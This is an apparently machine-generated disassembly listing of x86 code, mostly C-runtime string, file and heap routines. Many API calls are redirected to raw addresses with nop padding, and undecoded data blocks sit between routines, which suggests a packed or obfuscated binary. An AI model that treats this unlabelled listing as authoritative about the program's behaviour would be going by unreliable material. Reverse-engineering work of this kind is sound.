push esi push dword_4DBE84 call sub_4232A8 add esp, 20h test eax, eax jz short loc_41DED7 push [ebp+var_4] push [ebp+arg_0] call sub_41C890 pop ecx pop ecx loc_41DED7: ; CODE XREF: sub_41DE4A+53j ; sub_41DE4A+61j ... push [ebp+var_4] call sub_41BA91 mov eax, [ebp+arg_0] pop ecx pop edi pop esi loc_41DEE5: ; CODE XREF: sub_41DE4A+1Aj ; sub_41DE4A+32j pop ebx leave retn sub_41DE4A endp ; =============== S U B R O U T I N E ======================================= sub_41DEE8 proc near ; CODE XREF: sub_417E84+1A8p arg_0 = dword ptr 4 cmp dword_43D084, 1 jle short loc_41DEFF push 4 push [esp+4+arg_0] call sub_41FDB5 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41DEFF: ; CODE XREF: sub_41DEE8+7j mov eax, [esp+arg_0] mov ecx, off_43CE78 mov al, [ecx+eax*2] and eax, 4 retn sub_41DEE8 endp ; =============== S U B R O U T I N E ======================================= sub_41DF10 proc near ; CODE XREF: sub_420DB0+76p ; sub_420DB0+88p ... arg_0 = dword ptr 4 cmp dword_43D084, 1 jle short loc_41DF27 push 8 push [esp+4+arg_0] call sub_41FDB5 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41DF27: ; CODE XREF: sub_41DF10+7j mov eax, [esp+arg_0] mov ecx, off_43CE78 mov al, [ecx+eax*2] and eax, 8 retn sub_41DF10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DF40 proc near ; CODE XREF: sub_418295+1Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] test eax, eax jz short locret_41DF8C mov edx, [esp+arg_0] push esi push edi mov esi, edx mov edi, [esp+8+arg_4] or edx, edi and edx, 3 jz short loc_41DF8D test eax, 1 jz short loc_41DF6D mov cl, [esi] cmp cl, [edi] jnz short loc_41DFBA inc esi inc edi dec eax jz short loc_41DF8A loc_41DF6D: ; CODE XREF: sub_41DF40+20j ; sub_41DF40+48j mov cl, [esi] mov dl, [edi] cmp cl, dl jnz short loc_41DFBA mov cl, [esi+1] mov dl, [edi+1] cmp cl, dl jnz short loc_41DFBA add edi, 2 add esi, 2 sub eax, 2 jnz short loc_41DF6D loc_41DF8A: ; CODE XREF: sub_41DF40+2Bj ; sub_41DF40+84j pop edi pop esi locret_41DF8C: ; CODE XREF: sub_41DF40+6j retn ; --------------------------------------------------------------------------- loc_41DF8D: ; CODE XREF: sub_41DF40+19j mov ecx, eax and eax, 3 shr ecx, 2 jz short loc_41DFC2 repe cmpsd jz short loc_41DFC2 mov ecx, [esi-4] mov edx, [edi-4] cmp cl, dl jnz short loc_41DFB5 cmp ch, dh jnz short loc_41DFB5 shr ecx, 10h shr edx, 10h cmp cl, dl jnz short loc_41DFB5 cmp ch, dh loc_41DFB5: ; CODE XREF: sub_41DF40+63j ; sub_41DF40+67j ... mov eax, 0 loc_41DFBA: ; CODE XREF: sub_41DF40+26j ; sub_41DF40+33j ... sbb eax, eax pop edi sbb eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41DFC2: ; CODE XREF: sub_41DF40+55j ; sub_41DF40+59j test eax, eax jz short loc_41DF8A mov edx, [esi] mov ecx, [edi] cmp dl, cl jnz short loc_41DFB5 dec eax jz short loc_41DFE9 cmp dh, ch jnz short loc_41DFB5 dec eax jz short loc_41DFE9 and ecx, 0FF0000h and edx, 0FF0000h cmp edx, ecx jnz short loc_41DFB5 dec eax loc_41DFE9: ; CODE XREF: sub_41DF40+8Fj ; sub_41DF40+96j pop edi pop esi retn sub_41DF40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DFEC proc near ; CODE XREF: sub_4185B5+6p ; sub_4185D3+4Ap ... var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4DBE84, 0 push ebx push esi push edi jnz short loc_41E019 mov eax, [ebp+arg_0] cmp eax, 41h jl loc_41E0B2 cmp eax, 5Ah jg loc_41E0B2 add eax, 20h jmp loc_41E0B2 ; --------------------------------------------------------------------------- loc_41E019: ; CODE XREF: sub_41DFEC+Ej mov ebx, [ebp+arg_0] mov edi, 100h push 1 cmp ebx, edi pop esi jge short loc_41E04D cmp dword_43D084, esi jle short loc_41E03B push esi push ebx call sub_41FDB5 pop ecx pop ecx jmp short loc_41E045 ; --------------------------------------------------------------------------- loc_41E03B: ; CODE XREF: sub_41DFEC+42j mov eax, off_43CE78 mov al, [eax+ebx*2] and eax, esi loc_41E045: ; CODE XREF: sub_41DFEC+4Dj test eax, eax jnz short loc_41E04D loc_41E049: ; CODE XREF: sub_41DFEC+ADj mov eax, ebx jmp short loc_41E0B2 ; --------------------------------------------------------------------------- loc_41E04D: ; CODE XREF: sub_41DFEC+3Aj ; sub_41DFEC+5Bj mov edx, off_43CE78 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_41E071 and byte ptr [ebp+arg_0+2], 0 push 2 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl pop eax jmp short loc_41E07A ; --------------------------------------------------------------------------- loc_41E071: ; CODE XREF: sub_41DFEC+74j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl mov eax, esi loc_41E07A: ; CODE XREF: sub_41DFEC+83j push esi push 0 lea ecx, [ebp+var_4] push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push edi push dword_4DBE84 call sub_4232A8 add esp, 20h test eax, eax jz short loc_41E049 cmp eax, esi jnz short loc_41E0A5 movzx eax, [ebp+var_4] jmp short loc_41E0B2 ; --------------------------------------------------------------------------- loc_41E0A5: ; CODE XREF: sub_41DFEC+B1j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_41E0B2: ; CODE XREF: sub_41DFEC+16j ; sub_41DFEC+1Fj ... pop edi pop esi pop ebx leave retn sub_41DFEC endp ; =============== S U B R O U T I N E ======================================= sub_41E0B7 proc near ; CODE XREF: sub_418AF1+ADp ; sub_419AE0+55p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] cmp word ptr [ecx], 0 lea eax, [ecx+2] jz short loc_41E0CE loc_41E0C4: ; CODE XREF: sub_41E0B7+15j mov dx, [eax] inc eax inc eax test dx, dx jnz short loc_41E0C4 loc_41E0CE: ; CODE XREF: sub_41E0B7+Bj sub eax, ecx sar eax, 1 dec eax retn sub_41E0B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E0D4 proc near ; CODE XREF: sub_418AF1+7Fp ; sub_418AF1+90p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_0] push ebx push esi xor esi, esi xor eax, eax cmp edx, esi push edi jz loc_41E1A1 mov edi, [ebp+arg_8] cmp edi, esi jz loc_41E1CE cmp dword_4DBE84, esi jnz short loc_41E125 cmp edi, esi jbe loc_41E1CE loc_41E104: ; CODE XREF: sub_41E0D4+4Aj mov ecx, [ebp+arg_4] add ecx, eax movzx si, byte ptr [ecx] mov [edx], si cmp byte ptr [ecx], 0 jz loc_41E1CE inc eax inc edx inc edx cmp eax, edi jb short loc_41E104 jmp loc_41E1CE ; --------------------------------------------------------------------------- loc_41E125: ; CODE XREF: sub_41E0D4+26j mov ebx, [ebp+arg_4] mov esi, dword_4270E8 push edi push edx push 0FFFFFFFFh push ebx push 9 push dword_4DBE94 call esi test eax, eax jnz loc_41E1CD nop call near ptr 2680880h cmp eax, 7Ah jz short loc_41E15F loc_41E150: ; CODE XREF: sub_41E0D4+CBj ; sub_41E0D4+F7j mov dword_4DBDDC, 2Ah or eax, 0FFFFFFFFh jmp short loc_41E1CE ; --------------------------------------------------------------------------- loc_41E15F: ; CODE XREF: sub_41E0D4+7Aj lea ecx, [edi-1] mov eax, ebx mov [ebp+arg_4], ecx loc_41E167: ; CODE XREF: sub_41E0D4+B3j mov cl, [eax] test cl, cl jz short loc_41E189 mov edx, off_43CE78 movzx ecx, cl test byte ptr [edx+ecx*2+1], 80h jz short loc_41E17E inc eax loc_41E17E: ; CODE XREF: sub_41E0D4+A7j mov ecx, [ebp+arg_4] inc eax dec [ebp+arg_4] test ecx, ecx jnz short loc_41E167 loc_41E189: ; CODE XREF: sub_41E0D4+97j push edi sub eax, ebx push [ebp+arg_0] push eax push ebx push 1 push dword_4DBE94 call esi test eax, eax jnz short loc_41E1CE jmp short loc_41E150 ; --------------------------------------------------------------------------- loc_41E1A1: ; CODE XREF: sub_41E0D4+Fj cmp dword_4DBE84, esi jnz short loc_41E1B4 push [ebp+arg_4] call sub_41B9C0 pop ecx jmp short loc_41E1CE ; --------------------------------------------------------------------------- loc_41E1B4: ; CODE XREF: sub_41E0D4+D3j push esi push esi push 0FFFFFFFFh push [ebp+arg_4] push 9 push dword_4DBE94 call near ptr 26F0000h nop cmp eax, esi jz short loc_41E150 loc_41E1CD: ; CODE XREF: sub_41E0D4+6Bj dec eax loc_41E1CE: ; CODE XREF: sub_41E0D4+1Aj ; sub_41E0D4+2Aj ... pop edi pop esi pop ebx pop ebp retn sub_41E0D4 endp ; --------------------------------------------------------------------------- db 9Ch dd 0CA7726A5h, 24848F31h, 0F5A9F29Ch, 0A164E34Fh, 0 dd 25896450h, 0 dd 5358EC83h, 65895756h, 0CAE890E8h, 33024937h, 89D48AD2h dd 4DBDF415h, 81C88B00h, 0FFE1h, 0F00D8900h, 0C1004DBDh dd 0CA0308E1h, 0BDEC0D89h, 0E8C1004Dh, 0BDE8A310h, 0F633004Dh dd 440E856h, 85590000h, 6A0875C0h, 0B0E81Ch, 89590000h dd 0C4E8FC75h, 90000058h, 493774E8h, 0D38CA302h, 82E8004Dh dd 0A3000057h, 4DBE34h, 552BE8h, 546DE800h, 0F9E80000h dd 89FFFFDEh, 458DD075h, 0E89050A4h, 2491D88h, 53FEE8h dd 9C458900h, 1D045F6h, 0B70F0674h, 3EBD445h, 50580A6Ah dd 569C75FFh, 0FFE89056h, 5002262Bh, 0FE2F80E8h, 0A04589FFh dd 0DEE7E850h, 458BFFFFh, 8B088BECh, 984D8909h, 3CE85150h dd 59000052h, 658BC359h, 9875FFE8h, 0FFDED9E8h db 0FFh ; =============== S U B R O U T I N E ======================================= sub_41E2C9 proc near ; CODE XREF: sub_41DA32+16p ; ___:00423721p ... arg_0 = dword ptr 4 cmp dword_4DBE3C, 1 jnz short loc_41E2D7 call sub_423D98 loc_41E2D7: ; CODE XREF: sub_41E2C9+7j push [esp+arg_0] call sub_423DD1 push 0FFh call off_43AE40 pop ecx pop ecx retn sub_41E2C9 endp ; --------------------------------------------------------------------------- dw 3D83h dd offset dword_4DBE3C dd 0E8057501h, 5A9Ch, 42474FFh, 5ACCE8h, 0FF685900h, 90000000h dd 0A579A4E8h db 77h, 0C3h ; =============== S U B R O U T I N E ======================================= sub_41E312 proc near ; CODE XREF: sub_41BA3B+2Ap ; sub_42423B+290p arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] cmp edi, dword_4DD140 jnb loc_41E3AC mov eax, edi mov esi, edi sar eax, 5 and esi, 1Fh lea ebx, ds:4DD040h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_41E3AC push edi call sub_4240AA cmp eax, 0FFFFFFFFh pop ecx jz short loc_41E38B cmp edi, 1 jz short loc_41E359 cmp edi, 2 jnz short loc_41E36F loc_41E359: ; CODE XREF: sub_41E312+40j push 2 call sub_4240AA push 1 mov ebp, eax call sub_4240AA pop ecx cmp eax, ebp pop ecx jz short loc_41E38B loc_41E36F: ; CODE XREF: sub_41E312+45j push edi call sub_4240AA pop ecx push eax nop call near ptr 266076Ah test eax, eax jnz short loc_41E38B call near ptr 2680880h nop mov ebp, eax jmp short loc_41E38D ; --------------------------------------------------------------------------- loc_41E38B: ; CODE XREF: sub_41E312+3Bj ; sub_41E312+5Bj ... xor ebp, ebp loc_41E38D: ; CODE XREF: sub_41E312+77j push edi call sub_424030 mov eax, [ebx] pop ecx and byte ptr [eax+esi+4], 0 test ebp, ebp jz short loc_41E3A8 push ebp call sub_420C7F pop ecx jmp short loc_41E3BD ; --------------------------------------------------------------------------- loc_41E3A8: ; CODE XREF: sub_41E312+8Bj xor eax, eax jmp short loc_41E3C0 ; --------------------------------------------------------------------------- loc_41E3AC: ; CODE XREF: sub_41E312+Ej ; sub_41E312+2Fj and dword_4DBDE0, 0 mov dword_4DBDDC, 9 loc_41E3BD: ; CODE XREF: sub_41E312+94j or eax, 0FFFFFFFFh loc_41E3C0: ; CODE XREF: sub_41E312+98j pop edi pop esi pop ebp pop ebx retn sub_41E312 endp ; =============== S U B R O U T I N E ======================================= sub_41E3C5 proc near ; CODE XREF: sub_41BA3B+22p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz short loc_41E3EE test al, 8 jz short loc_41E3EE push dword ptr [esi+8] call sub_41BA91 and word ptr [esi+0Ch], 0FBF7h xor eax, eax pop ecx mov [esi], eax mov [esi+8], eax mov [esi+4], eax loc_41E3EE: ; CODE XREF: sub_41E3C5+Aj ; sub_41E3C5+Ej pop esi retn sub_41E3C5 endp ; =============== S U B R O U T I N E ======================================= sub_41E3F0 proc near ; CODE XREF: sub_41E490+2Dp ; sub_41E490+48p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_41E402 push esi call sub_41E490 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41E402: ; CODE XREF: sub_41E3F0+7j push esi call sub_41E42B test eax, eax pop ecx jz short loc_41E412 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41E412: ; CODE XREF: sub_41E3F0+1Bj test byte ptr [esi+0Dh], 40h jz short loc_41E427 push dword ptr [esi+10h] call sub_4240E7 neg eax pop ecx pop esi sbb eax, eax retn ; --------------------------------------------------------------------------- loc_41E427: ; CODE XREF: sub_41E3F0+26j xor eax, eax pop esi retn sub_41E3F0 endp ; =============== S U B R O U T I N E ======================================= sub_41E42B proc near ; CODE XREF: sub_41BA3B+1Ap ; ___:0041DAC2p ... arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] xor ebx, ebx push edi mov eax, [esi+0Ch] mov ecx, eax and ecx, 3 cmp cl, 2 jnz short loc_41E478 test ax, 108h jz short loc_41E478 mov eax, [esi+8] mov edi, [esi] sub edi, eax test edi, edi jle short loc_41E478 push edi push eax push dword ptr [esi+10h] call sub_4230FB add esp, 0Ch cmp eax, edi jnz short loc_41E471 mov eax, [esi+0Ch] test al, 80h jz short loc_41E478 and al, 0FDh mov [esi+0Ch], eax jmp short loc_41E478 ; --------------------------------------------------------------------------- loc_41E471: ; CODE XREF: sub_41E42B+36j or dword ptr [esi+0Ch], 20h or ebx, 0FFFFFFFFh loc_41E478: ; CODE XREF: sub_41E42B+14j ; sub_41E42B+1Aj ... mov eax, [esi+8] and dword ptr [esi+4], 0 mov [esi], eax pop edi mov eax, ebx pop esi pop ebx retn sub_41E42B endp ; =============== S U B R O U T I N E ======================================= sub_41E487 proc near ; CODE XREF: sub_4241E3p push 1 call sub_41E490 pop ecx retn sub_41E487 endp ; =============== S U B R O U T I N E ======================================= sub_41E490 proc near ; CODE XREF: sub_41E3F0+Ap ; sub_41E487+2p arg_0 = dword ptr 4 push ebx push esi push edi xor esi, esi xor ebx, ebx xor edi, edi cmp dword_4DD020, esi jle short loc_41E4EE loc_41E4A1: ; CODE XREF: sub_41E490+5Cj mov eax, dword_4DC01C mov eax, [eax+esi*4] test eax, eax jz short loc_41E4E5 mov ecx, [eax+0Ch] test cl, 83h jz short loc_41E4E5 cmp [esp+0Ch+arg_0], 1 jnz short loc_41E4CB push eax call sub_41E3F0 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41E4E5 inc ebx jmp short loc_41E4E5 ; --------------------------------------------------------------------------- loc_41E4CB: ; CODE XREF: sub_41E490+2Aj cmp [esp+0Ch+arg_0], 0 jnz short loc_41E4E5 test cl, 2 jz short loc_41E4E5 push eax call sub_41E3F0 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41E4E5 or edi, eax loc_41E4E5: ; CODE XREF: sub_41E490+1Bj ; sub_41E490+23j ... inc esi cmp esi, dword_4DD020 jl short loc_41E4A1 loc_41E4EE: ; CODE XREF: sub_41E490+Fj cmp [esp+0Ch+arg_0], 1 mov eax, ebx jz short loc_41E4F9 mov eax, edi loc_41E4F9: ; CODE XREF: sub_41E490+65j pop edi pop esi pop ebx retn sub_41E490 endp ; =============== S U B R O U T I N E ======================================= sub_41E4FD proc near ; CODE XREF: ___:0041E660p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 0 and dword ptr [esi], 0 call near ptr 2680E9Ah nop cmp word ptr [eax], 5A4Dh jnz short loc_41E528 mov ecx, [eax+3Ch] test ecx, ecx jz short loc_41E528 add eax, ecx mov cl, [eax+1Ah] mov [esi], cl mov al, [eax+1Bh] mov [esi+1], al loc_41E528: ; CODE XREF: sub_41E4FD+15j ; sub_41E4FD+1Cj pop esi retn sub_41E4FD endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 122Ch call sub_41C500 lea eax, [ebp-98h] push ebx push eax mov dword ptr [ebp-98h], 94h call near ptr 26D0613h nop test eax, eax jz short loc_41E56D cmp dword ptr [ebp-88h], 2 jnz short loc_41E56D cmp dword ptr [ebp-94h], 5 jb short loc_41E56D push 1 pop eax jmp loc_41E66F ; --------------------------------------------------------------------------- loc_41E56D: ; CODE XREF: ___:0041E551j ; ___:0041E55Aj ... lea eax, [ebp-122Ch] push 1090h push eax push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT" nop call near ptr 28C0000h test eax, eax jz loc_41E65C xor ebx, ebx lea ecx, [ebp-122Ch] cmp [ebp-122Ch], bl jz short loc_41E5AF loc_41E59C: ; CODE XREF: ___:0041E5ADj mov al, [ecx] cmp al, 61h jl short loc_41E5AA cmp al, 7Ah jg short loc_41E5AA sub al, 20h mov [ecx], al loc_41E5AA: ; CODE XREF: ___:0041E5A0j ; ___:0041E5A4j inc ecx cmp [ecx], bl jnz short loc_41E59C loc_41E5AF: ; CODE XREF: ___:0041E59Aj lea eax, [ebp-122Ch] push 16h push eax push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED" call sub_41C850 add esp, 0Ch test eax, eax jnz short loc_41E5D1 lea eax, [ebp-122Ch] jmp short loc_41E61A ; --------------------------------------------------------------------------- loc_41E5D1: ; CODE XREF: ___:0041E5C7j lea eax, [ebp-19Ch] push 104h push eax push ebx nop call near ptr 2670000h cmp [ebp-19Ch], bl lea ecx, [ebp-19Ch] jz short loc_41E605 loc_41E5F2: ; CODE XREF: ___:0041E603j mov al, [ecx] cmp al, 61h jl short loc_41E600 cmp al, 7Ah jg short loc_41E600 sub al, 20h mov [ecx], al loc_41E600: ; CODE XREF: ___:0041E5F6j ; ___:0041E5FAj inc ecx cmp [ecx], bl jnz short loc_41E5F2 loc_41E605: ; CODE XREF: ___:0041E5F0j lea eax, [ebp-19Ch] push eax lea eax, [ebp-122Ch] push eax call sub_41C2E0 pop ecx pop ecx loc_41E61A: ; CODE XREF: ___:0041E5CFj cmp eax, ebx jz short loc_41E65C push 2Ch push eax call sub_41C990 pop ecx cmp eax, ebx pop ecx jz short loc_41E65C inc eax mov ecx, eax cmp [eax], bl jz short loc_41E641 loc_41E633: ; CODE XREF: ___:0041E63Fj cmp byte ptr [ecx], 3Bh jnz short loc_41E63C mov [ecx], bl jmp short loc_41E63D ; --------------------------------------------------------------------------- loc_41E63C: ; CODE XREF: ___:0041E636j inc ecx loc_41E63D: ; CODE XREF: ___:0041E63Aj cmp [ecx], bl jnz short loc_41E633 loc_41E641: ; CODE XREF: ___:0041E631j push 0Ah push ebx push eax call sub_41C586 add esp, 0Ch cmp eax, 2 jz short loc_41E66F cmp eax, 3 jz short loc_41E66F cmp eax, 1 jz short loc_41E66F loc_41E65C: ; CODE XREF: ___:0041E586j ; ___:0041E61Cj ... lea eax, [ebp-4] push eax call sub_41E4FD cmp byte ptr [ebp-4], 6 pop ecx sbb eax, eax add eax, 3 loc_41E66F: ; CODE XREF: ___:0041E568j ; ___:0041E650j ... pop ebx leave retn ; --------------------------------------------------------------------------- dw 0C033h dd 4439006Ah, 680824h, 0F000010h, 0E850C094h, 24B1978h dd 0A3C08590h, 4DD384h, 93E83674h, 83FFFFFEh, 88A303F8h dd 75004DD3h, 3F8680Dh, 24E80000h, 59000000h, 0F8830AEBh dd 0E8187502h, 0B5Eh, 0F75C085h, 0D38435FFh, 0E890004Dh dd 24A25DCh, 6AC3C033h, 68C35801h, 140h, 35FF006Ah, 4DD384h dd 191EE890h, 0C085023Dh, 4DD37CA3h, 0C3017500h, 4244C8Bh dd 0D3742583h, 8300004Dh, 4DD37825h, 16A0000h, 4DD370A3h dd 800D8900h, 0C7004DD3h, 4DD36805h, 1000h db 0, 58h, 0C3h ; =============== S U B R O U T I N E ======================================= sub_41E717 proc near ; CODE XREF: sub_41BA91+17p ; sub_41BBE2+4Cp ... arg_0 = dword ptr 4 mov eax, dword_4DD378 lea ecx, [eax+eax*4] mov eax, dword_4DD37C lea ecx, [eax+ecx*4] loc_41E727: ; CODE XREF: sub_41E717+26j cmp eax, ecx jnb short loc_41E73F mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_41E741 add eax, 14h jmp short loc_41E727 ; --------------------------------------------------------------------------- loc_41E73F: ; CODE XREF: sub_41E717+12j xor eax, eax locret_41E741: ; CODE XREF: sub_41E717+21j retn sub_41E717 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E742 proc near ; CODE XREF: sub_41BA91+23p ; sub_41BBE2+A4p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov ecx, [ebp+arg_0] push ebx push esi mov esi, [ebp+arg_4] mov eax, [ecx+10h] push edi mov edi, esi add esi, 0FFFFFFFCh sub edi, [ecx+0Ch] shr edi, 0Fh mov ecx, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_10], ecx mov ecx, [esi] dec ecx test cl, 1 mov [ebp+var_4], ecx jnz loc_41EA66 mov edx, [ecx+esi] lea ebx, [ecx+esi] mov [ebp+var_C], edx mov edx, [esi-4] mov [ebp+var_8], edx mov edx, [ebp+var_C] test dl, 1 mov [ebp+arg_4], ebx jnz short loc_41E818 sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41E7A6 push 3Fh pop edx loc_41E7A6: ; CODE XREF: sub_41E742+5Fj mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41E7FA cmp edx, 20h jnb short loc_41E7D1 mov ebx, 80000000h mov ecx, edx shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+44h], ebx dec byte ptr [ecx] jnz short loc_41E7F2 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41E7F2 ; --------------------------------------------------------------------------- loc_41E7D1: ; CODE XREF: sub_41E742+6Fj lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41E7F2 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41E7F2: ; CODE XREF: sub_41E742+86j ; sub_41E742+8Dj ... mov ecx, [ebp+var_4] mov ebx, [ebp+arg_4] jmp short loc_41E7FD ; --------------------------------------------------------------------------- loc_41E7FA: ; CODE XREF: sub_41E742+6Aj mov ecx, [ebp+var_4] loc_41E7FD: ; CODE XREF: sub_41E742+B6j mov edx, [ebx+8] mov ebx, [ebx+4] add ecx, [ebp+var_C] mov [edx+4], ebx mov edx, [ebp+arg_4] mov [ebp+var_4], ecx mov ebx, [edx+4] mov edx, [edx+8] mov [ebx+8], edx loc_41E818: ; CODE XREF: sub_41E742+56j mov edx, ecx sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41E826 push 3Fh pop edx loc_41E826: ; CODE XREF: sub_41E742+DFj mov ebx, [ebp+var_8] and ebx, 1 mov [ebp+var_C], ebx jnz loc_41E8C9 sub esi, [ebp+var_8] mov ebx, [ebp+var_8] sar ebx, 4 push 3Fh mov [ebp+arg_4], esi dec ebx pop esi cmp ebx, esi jbe short loc_41E84B mov ebx, esi loc_41E84B: ; CODE XREF: sub_41E742+105j add ecx, [ebp+var_8] mov edx, ecx mov [ebp+var_4], ecx sar edx, 4 dec edx cmp edx, esi jbe short loc_41E85D mov edx, esi loc_41E85D: ; CODE XREF: sub_41E742+117j cmp ebx, edx jz short loc_41E8C4 mov ecx, [ebp+arg_4] mov esi, [ecx+4] cmp esi, [ecx+8] jnz short loc_41E8AC cmp ebx, 20h jnb short loc_41E88D mov esi, 80000000h mov ecx, ebx shr esi, cl not esi and [eax+edi*4+44h], esi dec byte ptr [ebx+eax+4] jnz short loc_41E8AC mov ecx, [ebp+arg_0] and [ecx], esi jmp short loc_41E8AC ; --------------------------------------------------------------------------- loc_41E88D: ; CODE XREF: sub_41E742+12Dj lea ecx, [ebx-20h] mov esi, 80000000h shr esi, cl not esi and [eax+edi*4+0C4h], esi dec byte ptr [ebx+eax+4] jnz short loc_41E8AC mov ecx, [ebp+arg_0] and [ecx+4], esi loc_41E8AC: ; CODE XREF: sub_41E742+128j ; sub_41E742+142j ... mov ecx, [ebp+arg_4] mov esi, [ecx+8] mov ecx, [ecx+4] mov [esi+4], ecx mov ecx, [ebp+arg_4] mov esi, [ecx+4] mov ecx, [ecx+8] mov [esi+8], ecx loc_41E8C4: ; CODE XREF: sub_41E742+11Dj mov esi, [ebp+arg_4] jmp short loc_41E8CC ; --------------------------------------------------------------------------- loc_41E8C9: ; CODE XREF: sub_41E742+EDj mov ebx, [ebp+arg_0] loc_41E8CC: ; CODE XREF: sub_41E742+185j cmp [ebp+var_C], 0 jnz short loc_41E8DA cmp ebx, edx jz loc_41E95B loc_41E8DA: ; CODE XREF: sub_41E742+18Ej mov ecx, [ebp+var_10] mov ebx, [ecx+edx*8+4] lea ecx, [ecx+edx*8] mov [esi+4], ebx mov [esi+8], ecx mov [ecx+4], esi mov ecx, [esi+4] mov [ecx+8], esi mov ecx, [esi+4] cmp ecx, [esi+8] jnz short loc_41E95B mov cl, [edx+eax+4] cmp edx, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [edx+eax+4], cl jnb short loc_41E932 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E921 mov ebx, 80000000h mov ecx, edx shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41E921: ; CODE XREF: sub_41E742+1CFj mov ebx, 80000000h mov ecx, edx shr ebx, cl lea eax, [eax+edi*4+44h] or [eax], ebx jmp short loc_41E95B ; --------------------------------------------------------------------------- loc_41E932: ; CODE XREF: sub_41E742+1C9j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E948 lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41E948: ; CODE XREF: sub_41E742+1F4j lea ecx, [edx-20h] mov edx, 80000000h shr edx, cl lea eax, [eax+edi*4+0C4h] or [eax], edx loc_41E95B: ; CODE XREF: sub_41E742+192j ; sub_41E742+1B7j ... mov eax, [ebp+var_4] mov [esi], eax mov [eax+esi-4], eax mov eax, [ebp+var_10] dec dword ptr [eax] jnz loc_41EA66 mov eax, dword_4DD374 test eax, eax jz loc_41EA58 mov ecx, dword_4DD36C mov esi, dword_427068 shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push 4000h push ebx push ecx call esi mov ecx, dword_4DD36C mov eax, dword_4DD374 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_4DD374 mov ecx, dword_4DD36C mov eax, [eax+10h] and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_4DD374 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_4DD374 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_41E9E9 and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_4DD374 loc_41E9E9: ; CODE XREF: sub_41E742+29Cj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_41EA58 push ebx push 0 push dword ptr [eax+0Ch] call esi mov eax, dword_4DD374 push dword ptr [eax+10h] push 0 push dword_4DD384 call near ptr 27E0000h nop mov eax, dword_4DD378 mov edx, dword_4DD37C lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, dword_4DD374 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_41D670 mov eax, [ebp+arg_0] add esp, 0Ch dec dword_4DD378 cmp eax, dword_4DD374 jbe short loc_41EA4E sub [ebp+arg_0], 14h loc_41EA4E: ; CODE XREF: sub_41E742+306j mov eax, dword_4DD37C mov dword_4DD370, eax loc_41EA58: ; CODE XREF: sub_41E742+234j ; sub_41E742+2ABj mov eax, [ebp+arg_0] mov dword_4DD36C, edi mov dword_4DD374, eax loc_41EA66: ; CODE XREF: sub_41E742+38j ; sub_41E742+227j pop edi pop esi pop ebx leave retn sub_41E742 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EA6B proc near ; CODE XREF: sub_41BBE2+77p 